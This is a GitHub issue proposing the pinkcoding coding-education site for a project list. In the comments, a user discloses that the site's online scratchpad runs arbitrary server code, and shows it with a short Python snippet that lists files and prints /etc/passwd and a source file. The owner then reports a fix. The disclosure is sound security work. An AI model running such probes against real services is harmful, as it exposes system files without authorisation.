-
Notifications
You must be signed in to change notification settings - Fork 5.3k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
pinkcoding #5610
Comments
I have a feeling your site will be hacked very quickly and won't last too long... import os
import sys
# Get the directory path
dir_path = os.path.dirname(os.path.realpath(__file__))
# Loop through all files in the directory
for file_name in os.listdir(dir_path):
# Check if the path is a file, not a directory
if os.path.isfile(os.path.join(dir_path, file_name)):
# Print the file name
print(file_name)
# Open file for reading
with open('/etc/passwd', 'r') as file:
# Read content of file line by line
for line in file:
# Print line
print(line)
# Close file
file.close()
# Open file for reading
with open('./aot.py', 'r') as file:
# Read content of file line by line
for line in file:
# Print line
print(line)
# Close file
file.close() |
@kungfooman could you expand on what you mean by your comment? |
Hey @beanscentcodingpad. Here's an example PR to get you started in case you find the time to implement this request: #5608 |
I don't know the server architecture, but you can execute code on at least one of his servers. Meaning it just needs e.g. one root exploit and that server is under control of whoever spending a bit of time on hacking it. |
Ah, true. It looks like there are at least some server-side checks in place, though, before executing the code. Though I'm not sure they're robust enough. |
Thank you very much ㅜㅜ I fix the problem. |
Project name
pinkcoding
Project link
https://www.pinkcoding.com
Logo link
https://www.pinkcoding.com/material/internal/images/pico/pico-mobile.png
Additional information
ScratchPad Swift, Python, Dart, PHP, JAVA
Learn Web coding (html, css, php, mysql, javascript, jquery, reactjs)
Learn App coding(iOS, dart)
Acknowledgements
The text was updated successfully, but these errors were encountered: